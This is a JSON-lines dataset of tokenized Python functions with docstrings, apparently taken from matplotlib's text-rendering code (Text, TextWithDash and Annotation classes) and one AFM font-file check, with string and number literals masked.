{"signature": "def update_bbox_position_size(self, renderer):", "body": "<EOL>if not isinstance(self.arrow_patch, FancyArrowPatch):<EOL><INDENT>return<EOL><DEDENT>if self._bbox_patch:<EOL><INDENT>trans = self.get_transform()<EOL>posx = float(self.convert_xunits(self._x))<EOL>posy = float(self.convert_yunits(self._y))<EOL>posx, posy = trans.transform_point((posx, posy))<EOL>x_box, y_box, w_box, h_box = _get_textbox(self, renderer)<EOL>self._bbox_patch.set_bounds(<NUM_LIT:0.>, <NUM_LIT:0.>,<EOL>w_box, h_box)<EOL>theta = self.get_rotation()/<NUM_LIT>*math.pi<EOL>tr = mtransforms.Affine2D().rotate(theta)<EOL>tr = tr.translate(posx+x_box, posy+y_box)<EOL>self._bbox_patch.set_transform(tr)<EOL>fontsize_in_pixel = renderer.points_to_pixels(self.get_size())<EOL>self._bbox_patch.set_mutation_scale(fontsize_in_pixel)<EOL><DEDENT>else:<EOL><INDENT>props = self._bbox<EOL>if props is None: props = {}<EOL>props = props.copy() <EOL>pad = props.pop('<STR_LIT>', <NUM_LIT:4>)<EOL>pad = renderer.points_to_pixels(pad)<EOL>bbox = self.get_window_extent(renderer)<EOL>l,b,w,h = bbox.bounds<EOL>l-=pad/<NUM_LIT><EOL>b-=pad/<NUM_LIT><EOL>w+=pad<EOL>h+=pad<EOL>r = Rectangle(xy=(l,b),<EOL>width=w,<EOL>height=h,<EOL>)<EOL>r.set_transform(mtransforms.IdentityTransform())<EOL>r.set_clip_on( False )<EOL>r.update(props)<EOL>self.arrow_patch.set_patchA(r)<EOL><DEDENT>", "docstring": "Update the location and the size of the bbox. This method\nshould be used when the position and size of the bbox needs to\nbe updated before actually drawing the bbox.", "id": "f17190:c0:m10"}
{"signature": "def _draw_bbox(self, renderer, posx, posy):", "body": "x_box, y_box, w_box, h_box = _get_textbox(self, renderer)<EOL>self._bbox_patch.set_bounds(<NUM_LIT:0.>, <NUM_LIT:0.>,<EOL>w_box, h_box)<EOL>theta = self.get_rotation()/<NUM_LIT>*math.pi<EOL>tr = mtransforms.Affine2D().rotate(theta)<EOL>tr = tr.translate(posx+x_box, posy+y_box)<EOL>self._bbox_patch.set_transform(tr)<EOL>fontsize_in_pixel = renderer.points_to_pixels(self.get_size())<EOL>self._bbox_patch.set_mutation_scale(fontsize_in_pixel)<EOL>self._bbox_patch.draw(renderer)<EOL>", "docstring": "Update the location and the size of the bbox\n        (FancyBoxPatch), and draw", "id": "f17190:c0:m11"}
{"signature": "def draw(self, renderer):", "body": "if renderer is not None:<EOL><INDENT>self._renderer = renderer<EOL><DEDENT>if not self.get_visible(): return<EOL>if self._text=='<STR_LIT>': return<EOL>bbox, info = self._get_layout(renderer)<EOL>trans = self.get_transform()<EOL>posx = float(self.convert_xunits(self._x))<EOL>posy = float(self.convert_yunits(self._y))<EOL>posx, posy = trans.transform_point((posx, posy))<EOL>canvasw, canvash = renderer.get_canvas_width_height()<EOL>if self._bbox_patch:<EOL><INDENT>self._draw_bbox(renderer, posx, posy)<EOL><DEDENT>gc = renderer.new_gc()<EOL>gc.set_foreground(self._color)<EOL>gc.set_alpha(self._alpha)<EOL>gc.set_url(self._url)<EOL>if self.get_clip_on():<EOL><INDENT>gc.set_clip_rectangle(self.clipbox)<EOL><DEDENT>if self._bbox:<EOL><INDENT>bbox_artist(self, renderer, self._bbox)<EOL><DEDENT>angle = self.get_rotation()<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>for line, wh, x, y in info:<EOL><INDENT>x = x + posx<EOL>y = y + posy<EOL>if renderer.flipy():<EOL><INDENT>y = canvash-y<EOL><DEDENT>clean_line, ismath = self.is_math_text(line)<EOL>renderer.draw_tex(gc, x, y, clean_line,<EOL>self._fontproperties, angle)<EOL><DEDENT>return<EOL><DEDENT>for line, wh, x, y in info:<EOL><INDENT>x = x + posx<EOL>y = y + posy<EOL>if renderer.flipy():<EOL><INDENT>y = canvash-y<EOL><DEDENT>clean_line, ismath = self.is_math_text(line)<EOL>renderer.draw_text(gc, x, y, clean_line,<EOL>self._fontproperties, angle,<EOL>ismath=ismath)<EOL><DEDENT>", "docstring": "Draws the :class:`Text` object to the given *renderer*.", "id": "f17190:c0:m12"}
{"signature": "def get_color(self):", "body": "return self._color<EOL>", "docstring": "Return the color of the text", "id": "f17190:c0:m13"}
{"signature": "def get_fontproperties(self):", "body": "return self._fontproperties<EOL>", "docstring": "Return the :class:`~font_manager.FontProperties` object", "id": "f17190:c0:m14"}
{"signature": "def get_font_properties(self):", "body": "return self.get_fontproperties<EOL>", "docstring": "alias for get_fontproperties", "id": "f17190:c0:m15"}
{"signature": "def get_family(self):", "body": "return self._fontproperties.get_family()<EOL>", "docstring": "Return the list of font families used for font lookup", "id": "f17190:c0:m16"}
{"signature": "def get_fontfamily(self):", "body": "return self.get_family()<EOL>", "docstring": "alias for get_family", "id": "f17190:c0:m17"}
{"signature": "def get_name(self):", "body": "return self._fontproperties.get_name()<EOL>", "docstring": "Return the font name as string", "id": "f17190:c0:m18"}
{"signature": "def get_style(self):", "body": "return self._fontproperties.get_style()<EOL>", "docstring": "Return the font style as string", "id": "f17190:c0:m19"}
{"signature": "def get_size(self):", "body": "return self._fontproperties.get_size_in_points()<EOL>", "docstring": "Return the font size as integer", "id": "f17190:c0:m20"}
{"signature": "def get_variant(self):", "body": "return self._fontproperties.get_variant()<EOL>", "docstring": "Return the font variant as a string", "id": "f17190:c0:m21"}
{"signature": "def get_fontvariant(self):", "body": "return self.get_variant()<EOL>", "docstring": "alias for get_variant", "id": "f17190:c0:m22"}
{"signature": "def get_weight(self):", "body": "return self._fontproperties.get_weight()<EOL>", "docstring": "Get the font weight as string or number", "id": "f17190:c0:m23"}
{"signature": "def get_fontname(self):", "body": "return self.get_name()<EOL>", "docstring": "alias for get_name", "id": "f17190:c0:m24"}
{"signature": "def get_fontstyle(self):", "body": "return self.get_style()<EOL>", "docstring": "alias for get_style", "id": "f17190:c0:m25"}
{"signature": "def get_fontsize(self):", "body": "return self.get_size()<EOL>", "docstring": "alias for get_size", "id": "f17190:c0:m26"}
{"signature": "def get_fontweight(self):", "body": "return self.get_weight()<EOL>", "docstring": "alias for get_weight", "id": "f17190:c0:m27"}
{"signature": "def get_stretch(self):", "body": "return self._fontproperties.get_stretch()<EOL>", "docstring": "Get the font stretch as a string or number", "id": "f17190:c0:m28"}
{"signature": "def get_fontstretch(self):", "body": "return self.get_stretch()<EOL>", "docstring": "alias for get_stretch", "id": "f17190:c0:m29"}
{"signature": "def get_ha(self):", "body": "return self.get_horizontalalignment()<EOL>", "docstring": "alias for get_horizontalalignment", "id": "f17190:c0:m30"}
{"signature": "def get_horizontalalignment(self):", "body": "return self._horizontalalignment<EOL>", "docstring": "Return the horizontal alignment as string.  Will be one of\n'left', 'center' or 'right'.", "id": "f17190:c0:m31"}
{"signature": "def get_position(self):", "body": "x = float(self.convert_xunits(self._x))<EOL>y = float(self.convert_yunits(self._y))<EOL>return x, y<EOL>", "docstring": "Return the position of the text as a tuple (*x*, *y*)", "id": "f17190:c0:m32"}
{"signature": "def get_prop_tup(self):", "body": "x, y = self.get_position()<EOL>return (x, y, self._text, self._color,<EOL>self._verticalalignment, self._horizontalalignment,<EOL>hash(self._fontproperties), self._rotation,<EOL>self.figure.dpi, id(self._renderer),<EOL>)<EOL>", "docstring": "Return a hashable tuple of properties.\n\nNot intended to be human readable, but useful for backends who\nwant to cache derived information about text (eg layouts) and\nneed to know if the text has changed.", "id": "f17190:c0:m33"}
{"signature": "def get_text(self):", "body": "return self._text<EOL>", "docstring": "Get the text as string", "id": "f17190:c0:m34"}
{"signature": "def get_va(self):", "body": "return self.get_verticalalignment()<EOL>", "docstring": "alias for :meth:`getverticalalignment`", "id": "f17190:c0:m35"}
{"signature": "def get_verticalalignment(self):", "body": "return self._verticalalignment<EOL>", "docstring": "Return the vertical alignment as string.  Will be one of\n'top', 'center', 'bottom' or 'baseline'.", "id": "f17190:c0:m36"}
{"signature": "def get_window_extent(self, renderer=None, dpi=None):", "body": "<EOL>if not self.get_visible(): return Bbox.unit()<EOL>if dpi is not None:<EOL><INDENT>dpi_orig = self.figure.dpi<EOL>self.figure.dpi = dpi<EOL><DEDENT>if self._text == '<STR_LIT>':<EOL><INDENT>tx, ty = self._get_xy_display()<EOL>return Bbox.from_bounds(tx,ty,<NUM_LIT:0>,<NUM_LIT:0>)<EOL><DEDENT>if renderer is not None:<EOL><INDENT>self._renderer = renderer<EOL><DEDENT>if self._renderer is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>bbox, info = self._get_layout(self._renderer)<EOL>x, y = self.get_position()<EOL>x, y = self.get_transform().transform_point((x, y))<EOL>bbox = bbox.translated(x, y)<EOL>if dpi is not None:<EOL><INDENT>self.figure.dpi = dpi_orig<EOL><DEDENT>return bbox<EOL>", "docstring": "Return a :class:`~matplotlib.transforms.Bbox` object bounding\nthe text, in display units.\n\nIn addition to being used internally, this is useful for\nspecifying clickable regions in a png file on a web page.\n\n*renderer* defaults to the _renderer attribute of the text\nobject.  This is not assigned until the first execution of\n:meth:`draw`, so you must use this kwarg if you want\nto call :meth:`get_window_extent` prior to the first\n:meth:`draw`.  For getting web page regions, it is\nsimpler to call the method after saving the figure.\n\n*dpi* defaults to self.figure.dpi; the renderer dpi is\nirrelevant.  For the web application, if figure.dpi is not\nthe value used when saving the figure, then the value that\nwas used must be specified as the *dpi* argument.", "id": "f17190:c0:m37"}
{"signature": "def set_backgroundcolor(self, color):", "body": "if self._bbox is None:<EOL><INDENT>self._bbox = dict(facecolor=color, edgecolor=color)<EOL><DEDENT>else:<EOL><INDENT>self._bbox.update(dict(facecolor=color))<EOL><DEDENT>", "docstring": "Set the background color of the text by updating the bbox.\n\n.. seealso::\n    :meth:`set_bbox`\n\nACCEPTS: any matplotlib color", "id": "f17190:c0:m38"}
{"signature": "def set_color(self, color):", "body": "<EOL>try:<EOL><INDENT>hash(color)<EOL><DEDENT>except TypeError:<EOL><INDENT>color = tuple(color)<EOL><DEDENT>self._color = color<EOL>", "docstring": "Set the foreground color of the text\n\nACCEPTS: any matplotlib color", "id": "f17190:c0:m39"}
{"signature": "def set_ha(self, align):", "body": "self.set_horizontalalignment(align)<EOL>", "docstring": "alias for set_horizontalalignment", "id": "f17190:c0:m40"}
{"signature": "def set_horizontalalignment(self, align):", "body": "legal = ('<STR_LIT>', '<STR_LIT:right>', '<STR_LIT:left>')<EOL>if align not in legal:<EOL><INDENT>raise ValueError('<STR_LIT>' % str(legal))<EOL><DEDENT>self._horizontalalignment = align<EOL>", "docstring": "Set the horizontal alignment to one of\n\nACCEPTS: [ 'center' | 'right' | 'left' ]", "id": "f17190:c0:m41"}
{"signature": "def set_ma(self, align):", "body": "self.set_multialignment(align)<EOL>", "docstring": "alias for set_verticalalignment", "id": "f17190:c0:m42"}
{"signature": "def set_multialignment(self, align):", "body": "legal = ('<STR_LIT>', '<STR_LIT:right>', '<STR_LIT:left>')<EOL>if align not in legal:<EOL><INDENT>raise ValueError('<STR_LIT>' % str(legal))<EOL><DEDENT>self._multialignment = align<EOL>", "docstring": "Set the alignment for multiple lines layout.  The layout of the\nbounding box of all the lines is determined bu the horizontalalignment\nand verticalalignment properties, but the multiline text within that\nbox can be\n\nACCEPTS: ['left' | 'right' | 'center' ]", "id": "f17190:c0:m43"}
{"signature": "def set_linespacing(self, spacing):", "body": "self._linespacing = spacing<EOL>", "docstring": "Set the line spacing as a multiple of the font size.\nDefault is 1.2.\n\nACCEPTS: float (multiple of font size)", "id": "f17190:c0:m44"}
{"signature": "def set_family(self, fontname):", "body": "self._fontproperties.set_family(fontname)<EOL>", "docstring": "Set the font family.  May be either a single string, or a list\nof strings in decreasing priority.  Each string may be either\na real font name or a generic font class name.  If the latter,\nthe specific font names will be looked up in the\n:file:`matplotlibrc` file.\n\nACCEPTS: [ FONTNAME | 'serif' | 'sans-serif' | 'cursive' | 'fantasy' | 'monospace' ]", "id": "f17190:c0:m45"}
{"signature": "def set_variant(self, variant):", "body": "self._fontproperties.set_variant(variant)<EOL>", "docstring": "Set the font variant, either 'normal' or 'small-caps'.\n\nACCEPTS: [ 'normal' | 'small-caps' ]", "id": "f17190:c0:m46"}
{"signature": "def set_fontvariant(self, variant):", "body": "return self.set_variant(variant)<EOL>", "docstring": "alias for set_variant", "id": "f17190:c0:m47"}
{"signature": "def set_name(self, fontname):", "body": "return self.set_family(fontname)<EOL>", "docstring": "alias for set_family", "id": "f17190:c0:m48"}
{"signature": "def set_fontname(self, fontname):", "body": "self.set_family(fontname)<EOL>", "docstring": "alias for set_family", "id": "f17190:c0:m49"}
{"signature": "def set_style(self, fontstyle):", "body": "self._fontproperties.set_style(fontstyle)<EOL>", "docstring": "Set the font style.\n\nACCEPTS: [ 'normal' | 'italic' | 'oblique']", "id": "f17190:c0:m50"}
{"signature": "def set_fontstyle(self, fontstyle):", "body": "return self.set_style(fontstyle)<EOL>", "docstring": "alias for set_style", "id": "f17190:c0:m51"}
{"signature": "def set_size(self, fontsize):", "body": "self._fontproperties.set_size(fontsize)<EOL>", "docstring": "Set the font size.  May be either a size string, relative to\nthe default font size, or an absolute font size in points.\n\nACCEPTS: [ size in points | 'xx-small' | 'x-small' | 'small' | 'medium' | 'large' | 'x-large' | 'xx-large' ]", "id": "f17190:c0:m52"}
{"signature": "def set_fontsize(self, fontsize):", "body": "return self.set_size(fontsize)<EOL>", "docstring": "alias for set_size", "id": "f17190:c0:m53"}
{"signature": "def set_weight(self, weight):", "body": "self._fontproperties.set_weight(weight)<EOL>", "docstring": "Set the font weight.\n\nACCEPTS: [ a numeric value in range 0-1000 | 'ultralight' | 'light' | 'normal' | 'regular' | 'book' | 'medium' | 'roman' | 'semibold' | 'demibold' | 'demi' | 'bold' | 'heavy' | 'extra bold' | 'black' ]", "id": "f17190:c0:m54"}
{"signature": "def set_fontweight(self, weight):", "body": "return self.set_weight(weight)<EOL>", "docstring": "alias for set_weight", "id": "f17190:c0:m55"}
{"signature": "def set_stretch(self, stretch):", "body": "self._fontproperties.set_stretch(stretch)<EOL>", "docstring": "Set the font stretch (horizontal condensation or expansion).\n\nACCEPTS: [ a numeric value in range 0-1000 | 'ultra-condensed' | 'extra-condensed' | 'condensed' | 'semi-condensed' | 'normal' | 'semi-expanded' | 'expanded' | 'extra-expanded' | 'ultra-expanded' ]", "id": "f17190:c0:m56"}
{"signature": "def set_fontstretch(self, stretch):", "body": "return self.set_stretch(stretch)<EOL>", "docstring": "alias for set_stretch", "id": "f17190:c0:m57"}
{"signature": "def set_position(self, xy):", "body": "self.set_x(xy[<NUM_LIT:0>])<EOL>self.set_y(xy[<NUM_LIT:1>])<EOL>", "docstring": "Set the (*x*, *y*) position of the text\n\nACCEPTS: (x,y)", "id": "f17190:c0:m58"}
{"signature": "def set_x(self, x):", "body": "self._x = x<EOL>", "docstring": "Set the *x* position of the text\n\nACCEPTS: float", "id": "f17190:c0:m59"}
{"signature": "def set_y(self, y):", "body": "self._y = y<EOL>", "docstring": "Set the *y* position of the text\n\nACCEPTS: float", "id": "f17190:c0:m60"}
{"signature": "def set_rotation(self, s):", "body": "self._rotation = s<EOL>", "docstring": "Set the rotation of the text\n\nACCEPTS: [ angle in degrees | 'vertical' | 'horizontal' ]", "id": "f17190:c0:m61"}
{"signature": "def set_va(self, align):", "body": "self.set_verticalalignment(align)<EOL>", "docstring": "alias for set_verticalalignment", "id": "f17190:c0:m62"}
{"signature": "def set_verticalalignment(self, align):", "body": "legal = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if align not in legal:<EOL><INDENT>raise ValueError('<STR_LIT>' % str(legal))<EOL><DEDENT>self._verticalalignment = align<EOL>", "docstring": "Set the vertical alignment\n\nACCEPTS: [ 'center' | 'top' | 'bottom' | 'baseline' ]", "id": "f17190:c0:m63"}
{"signature": "def set_text(self, s):", "body": "self._text = '<STR_LIT:%s>' % (s,)<EOL>", "docstring": "Set the text string *s*\n\nIt may contain newlines (``\\\\n``) or math in LaTeX syntax.\n\nACCEPTS: string or anything printable with '%s' conversion.", "id": "f17190:c0:m64"}
{"signature": "def is_math_text(self, s):", "body": "<EOL>dollar_count = s.count(r'<STR_LIT:$>') - s.count(r'<STR_LIT>')<EOL>even_dollars = (dollar_count > <NUM_LIT:0> and dollar_count % <NUM_LIT:2> == <NUM_LIT:0>)<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>return s, '<STR_LIT>'<EOL><DEDENT>if even_dollars:<EOL><INDENT>return s, True<EOL><DEDENT>else:<EOL><INDENT>return s.replace(r'<STR_LIT>', '<STR_LIT:$>'), False<EOL><DEDENT>", "docstring": "Returns True if the given string *s* contains any mathtext.", "id": "f17190:c0:m65"}
{"signature": "def set_fontproperties(self, fp):", "body": "if is_string_like(fp):<EOL><INDENT>fp = FontProperties(fp)<EOL><DEDENT>self._fontproperties = fp.copy()<EOL>", "docstring": "Set the font properties that control the text.  *fp* must be a\n:class:`matplotlib.font_manager.FontProperties` object.\n\nACCEPTS: a :class:`matplotlib.font_manager.FontProperties` instance", "id": "f17190:c0:m66"}
{"signature": "def set_font_properties(self, fp):", "body": "self.set_fontproperties(fp)<EOL>", "docstring": "alias for set_fontproperties", "id": "f17190:c0:m67"}
{"signature": "def get_position(self):", "body": "x = float(self.convert_xunits(self._dashx))<EOL>y = float(self.convert_yunits(self._dashy))<EOL>return x, y<EOL>", "docstring": "Return the position of the text as a tuple (*x*, *y*)", "id": "f17190:c1:m2"}
{"signature": "def get_prop_tup(self):", "body": "props = [p for p in Text.get_prop_tup(self)]<EOL>props.extend([self._x, self._y, self._dashlength, self._dashdirection, self._dashrotation, self._dashpad, self._dashpush])<EOL>return tuple(props)<EOL>", "docstring": "Return a hashable tuple of properties.\n\nNot intended to be human readable, but useful for backends who\nwant to cache derived information about text (eg layouts) and\nneed to know if the text has changed.", "id": "f17190:c1:m3"}
{"signature": "def draw(self, renderer):", "body": "self.update_coords(renderer)<EOL>Text.draw(self, renderer)<EOL>if self.get_dashlength() > <NUM_LIT:0.0>:<EOL><INDENT>self.dashline.draw(renderer)<EOL><DEDENT>", "docstring": "Draw the :class:`TextWithDash` object to the given *renderer*.", "id": "f17190:c1:m4"}
{"signature": "def update_coords(self, renderer):", "body": "dashx, dashy = self.get_position()<EOL>dashlength = self.get_dashlength()<EOL>if dashlength == <NUM_LIT:0.0>:<EOL><INDENT>self._x, self._y = dashx, dashy<EOL>return<EOL><DEDENT>dashrotation = self.get_dashrotation()<EOL>dashdirection = self.get_dashdirection()<EOL>dashpad = self.get_dashpad()<EOL>dashpush = self.get_dashpush()<EOL>angle = get_rotation(dashrotation)<EOL>theta = np.pi*(angle/<NUM_LIT>+dashdirection-<NUM_LIT:1>)<EOL>cos_theta, sin_theta = np.cos(theta), np.sin(theta)<EOL>transform = self.get_transform()<EOL>cxy = transform.transform_point((dashx, dashy))<EOL>cd = np.array([cos_theta, sin_theta])<EOL>c1 = cxy+dashpush*cd<EOL>c2 = cxy+(dashpush+dashlength)*cd<EOL>inverse = transform.inverted()<EOL>(x1, y1) = inverse.transform_point(tuple(c1))<EOL>(x2, y2) = inverse.transform_point(tuple(c2))<EOL>self.dashline.set_data((x1, x2), (y1, y2))<EOL>we = Text.get_window_extent(self, renderer=renderer)<EOL>w, h = we.width, we.height<EOL>if sin_theta == <NUM_LIT:0.0>:<EOL><INDENT>dx = w<EOL>dy = <NUM_LIT:0.0><EOL><DEDENT>elif cos_theta == <NUM_LIT:0.0>:<EOL><INDENT>dx = <NUM_LIT:0.0><EOL>dy = h<EOL><DEDENT>else:<EOL><INDENT>tan_theta = sin_theta/cos_theta<EOL>dx = w<EOL>dy = w*tan_theta<EOL>if dy > h or dy < -h:<EOL><INDENT>dy = h<EOL>dx = h/tan_theta<EOL><DEDENT><DEDENT>cwd = np.array([dx, dy])/<NUM_LIT:2><EOL>cwd *= <NUM_LIT:1>+dashpad/np.sqrt(np.dot(cwd,cwd))<EOL>cw = c2+(dashdirection*<NUM_LIT:2>-<NUM_LIT:1>)*cwd<EOL>newx, newy = inverse.transform_point(tuple(cw))<EOL>self._x, self._y = newx, newy<EOL>we = Text.get_window_extent(self, renderer=renderer)<EOL>self._twd_window_extent = we.frozen()<EOL>self._twd_window_extent.update_from_data_xy(np.array([c1]), False)<EOL>Text.set_horizontalalignment(self, '<STR_LIT>')<EOL>Text.set_verticalalignment(self, '<STR_LIT>')<EOL>", "docstring": "Computes the actual *x*, *y* coordinates for text based on the\ninput *x*, *y* and the *dashlength*. Since the rotation is\nwith respect to the actual canvas's coordinates we need to map\nback and forth.", "id": "f17190:c1:m5"}
{"signature": "def get_window_extent(self, renderer=None):", "body": "self.update_coords(renderer)<EOL>if self.get_dashlength() == <NUM_LIT:0.0>:<EOL><INDENT>return Text.get_window_extent(self, renderer=renderer)<EOL><DEDENT>else:<EOL><INDENT>return self._twd_window_extent<EOL><DEDENT>", "docstring": "Return a :class:`~matplotlib.transforms.Bbox` object bounding\nthe text, in display units.\n\nIn addition to being used internally, this is useful for\nspecifying clickable regions in a png file on a web page.\n\n*renderer* defaults to the _renderer attribute of the text\nobject.  This is not assigned until the first execution of\n:meth:`draw`, so you must use this kwarg if you want\nto call :meth:`get_window_extent` prior to the first\n:meth:`draw`.  For getting web page regions, it is\nsimpler to call the method after saving the figure.", "id": "f17190:c1:m6"}
{"signature": "def get_dashlength(self):", "body": "return self._dashlength<EOL>", "docstring": "Get the length of the dash.", "id": "f17190:c1:m7"}
{"signature": "def set_dashlength(self, dl):", "body": "self._dashlength = dl<EOL>", "docstring": "Set the length of the dash.\n\nACCEPTS: float (canvas units)", "id": "f17190:c1:m8"}
{"signature": "def get_dashdirection(self):", "body": "return self._dashdirection<EOL>", "docstring": "Get the direction dash.  1 is before the text and 0 is after.", "id": "f17190:c1:m9"}
{"signature": "def set_dashdirection(self, dd):", "body": "self._dashdirection = dd<EOL>", "docstring": "Set the direction of the dash following the text.\n1 is before the text and 0 is after. The default\nis 0, which is what you'd want for the typical\ncase of ticks below and on the left of the figure.\n\nACCEPTS: int (1 is before, 0 is after)", "id": "f17190:c1:m10"}
{"signature": "def get_dashrotation(self):", "body": "if self._dashrotation == None:<EOL><INDENT>return self.get_rotation()<EOL><DEDENT>else:<EOL><INDENT>return self._dashrotation<EOL><DEDENT>", "docstring": "Get the rotation of the dash in degrees.", "id": "f17190:c1:m11"}
{"signature": "def set_dashrotation(self, dr):", "body": "self._dashrotation = dr<EOL>", "docstring": "Set the rotation of the dash, in degrees\n\nACCEPTS: float (degrees)", "id": "f17190:c1:m12"}
{"signature": "def get_dashpad(self):", "body": "return self._dashpad<EOL>", "docstring": "Get the extra spacing between the dash and the text, in canvas units.", "id": "f17190:c1:m13"}
{"signature": "def set_dashpad(self, dp):", "body": "self._dashpad = dp<EOL>", "docstring": "Set the \"pad\" of the TextWithDash, which is the extra spacing\nbetween the dash and the text, in canvas units.\n\nACCEPTS: float (canvas units)", "id": "f17190:c1:m14"}
{"signature": "def get_dashpush(self):", "body": "return self._dashpush<EOL>", "docstring": "Get the extra spacing between the dash and the specified text\nposition, in canvas units.", "id": "f17190:c1:m15"}
{"signature": "def set_dashpush(self, dp):", "body": "self._dashpush = dp<EOL>", "docstring": "Set the \"push\" of the TextWithDash, which\nis the extra spacing between the beginning\nof the dash and the specified position.\n\nACCEPTS: float (canvas units)", "id": "f17190:c1:m16"}
{"signature": "def set_position(self, xy):", "body": "self.set_x(xy[<NUM_LIT:0>])<EOL>self.set_y(xy[<NUM_LIT:1>])<EOL>", "docstring": "Set the (*x*, *y*) position of the :class:`TextWithDash`.\n\nACCEPTS: (x, y)", "id": "f17190:c1:m17"}
{"signature": "def set_x(self, x):", "body": "self._dashx = float(x)<EOL>", "docstring": "Set the *x* position of the :class:`TextWithDash`.\n\nACCEPTS: float", "id": "f17190:c1:m18"}
{"signature": "def set_y(self, y):", "body": "self._dashy = float(y)<EOL>", "docstring": "Set the *y* position of the :class:`TextWithDash`.\n\nACCEPTS: float", "id": "f17190:c1:m19"}
{"signature": "def set_transform(self, t):", "body": "Text.set_transform(self, t)<EOL>self.dashline.set_transform(t)<EOL>", "docstring": "Set the :class:`matplotlib.transforms.Transform` instance used\nby this artist.\n\nACCEPTS: a :class:`matplotlib.transforms.Transform` instance", "id": "f17190:c1:m20"}
{"signature": "def get_figure(self):", "body": "return self.figure<EOL>", "docstring": "return the figure instance the artist belongs to", "id": "f17190:c1:m21"}
{"signature": "def set_figure(self, fig):", "body": "Text.set_figure(self, fig)<EOL>self.dashline.set_figure(fig)<EOL>", "docstring": "Set the figure instance the artist belong to.\n\nACCEPTS: a :class:`matplotlib.figure.Figure` instance", "id": "f17190:c1:m22"}
{"signature": "def __init__(self, s, xy,<EOL>xytext=None,<EOL>xycoords='<STR_LIT:data>',<EOL>textcoords=None,<EOL>arrowprops=None,<EOL>**kwargs):", "body": "if xytext is None:<EOL><INDENT>xytext = xy<EOL><DEDENT>if textcoords is None:<EOL><INDENT>textcoords = xycoords<EOL><DEDENT>x,y = self.xytext = xytext<EOL>Text.__init__(self, x, y, s, **kwargs)<EOL>self.xy = xy<EOL>self.xycoords = xycoords<EOL>self.textcoords = textcoords<EOL>self.arrowprops = arrowprops<EOL>self.arrow = None<EOL>if arrowprops and \"<STR_LIT>\" in arrowprops:<EOL><INDENT>self._arrow_relpos = arrowprops.pop(\"<STR_LIT>\", (<NUM_LIT:0.5>, <NUM_LIT:0.5>))<EOL>self.arrow_patch = FancyArrowPatch((<NUM_LIT:0>, <NUM_LIT:0>), (<NUM_LIT:1>,<NUM_LIT:1>),<EOL>**arrowprops)<EOL><DEDENT>else:<EOL><INDENT>self.arrow_patch = None<EOL><DEDENT>", "docstring": "Annotate the *x*, *y* point *xy* with text *s* at *x*, *y*\nlocation *xytext*.  (If *xytext* = *None*, defaults to *xy*,\nand if *textcoords* = *None*, defaults to *xycoords*).\n\n*arrowprops*, if not *None*, is a dictionary of line properties\n(see :class:`matplotlib.lines.Line2D`) for the arrow that connects\nannotation to the point.\n\nIf the dictionary has a key *arrowstyle*, a FancyArrowPatch\ninstance is created with the given dictionary and is\ndrawn. Otherwise, a YAArow patch instance is created and\ndrawn. Valid keys for YAArow are\n\n\n=========   =============================================================\nKey         Description\n=========   =============================================================\nwidth       the width of the arrow in points\nfrac        the fraction of the arrow length occupied by the head\nheadwidth   the width of the base of the arrow head in points\nshrink      oftentimes it is convenient to have the arrowtip\n            and base a bit away from the text and point being\n            annotated.  If *d* is the distance between the text and\n            annotated point, shrink will shorten the arrow so the tip\n            and base are shink percent of the distance *d* away from the\n            endpoints.  ie, ``shrink=0.05 is 5%%``\n?           any key for :class:`matplotlib.patches.polygon`\n=========   =============================================================\n\n\nValid keys for FancyArrowPatch are\n\n\n===============  ======================================================\nKey              Description\n===============  ======================================================\narrowstyle       the arrow style\nconnectionstyle  the connection style\nrelpos           default is (0.5, 0.5)\npatchA           default is bounding box of the text\npatchB           default is None\nshrinkA          default is 2 points\nshrinkB          default is 2 points\nmutation_scale   default is text size (in points)\nmutation_aspect  default is 1.\n?                any key for :class:`matplotlib.patches.PathPatch`\n===============  ======================================================\n\n\n*xycoords* and *textcoords* are strings that indicate the\ncoordinates of *xy* and *xytext*.\n\n=================   ===================================================\nProperty            Description\n=================   ===================================================\n'figure points'     points from the lower left corner of the figure\n'figure pixels'     pixels from the lower left corner of the figure\n'figure fraction'   0,0 is lower left of figure and 1,1 is upper, right\n'axes points'       points from lower left corner of axes\n'axes pixels'       pixels from lower left corner of axes\n'axes fraction'     0,1 is lower left of axes and 1,1 is upper right\n'data'              use the coordinate system of the object being\n                    annotated (default)\n'offset points'     Specify an offset (in points) from the *xy* value\n\n'polar'             you can specify *theta*, *r* for the annotation,\n                    even in cartesian plots.  Note that if you\n                    are using a polar axes, you do not need\n                    to specify polar for the coordinate\n                    system since that is the native \"data\" coordinate\n                    system.\n=================   ===================================================\n\nIf a 'points' or 'pixels' option is specified, values will be\nadded to the bottom-left and if negative, values will be\nsubtracted from the top-right.  Eg::\n\n  # 10 points to the right of the left border of the axes and\n  # 5 points below the top border\n  xy=(10,-5), xycoords='axes points'\n\nAdditional kwargs are Text properties:\n\n%(Text)s", "id": "f17190:c2:m1"}
{"signature": "def draw(self, renderer):", "body": "self.update_positions(renderer)<EOL>self.update_bbox_position_size(renderer)<EOL>if self.arrow is not None:<EOL><INDENT>if self.arrow.figure is None and self.figure is not None:<EOL><INDENT>self.arrow.figure = self.figure<EOL><DEDENT>self.arrow.draw(renderer)<EOL><DEDENT>if self.arrow_patch is not None:<EOL><INDENT>if self.arrow_patch.figure is None and self.figure is not None:<EOL><INDENT>self.arrow_patch.figure = self.figure<EOL><DEDENT>self.arrow_patch.draw(renderer)<EOL><DEDENT>Text.draw(self, renderer)<EOL>", "docstring": "Draw the :class:`Annotation` object to the given *renderer*.", "id": "f17190:c2:m6"}
{"signature": "def _sanity_check(fh):", "body": "<EOL>pos = fh.tell()<EOL>try:<EOL><INDENT>line = fh.readline()<EOL><DEDENT>finally:<EOL><INDENT>fh.seek(pos, <NUM_LIT:0>)<EOL><DEDENT>if not line.startswith('<STR_LIT>'):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Check if the file at least looks like AFM.\nIf not, raise :exc:`RuntimeError`.", "id": "f17191:m3"}
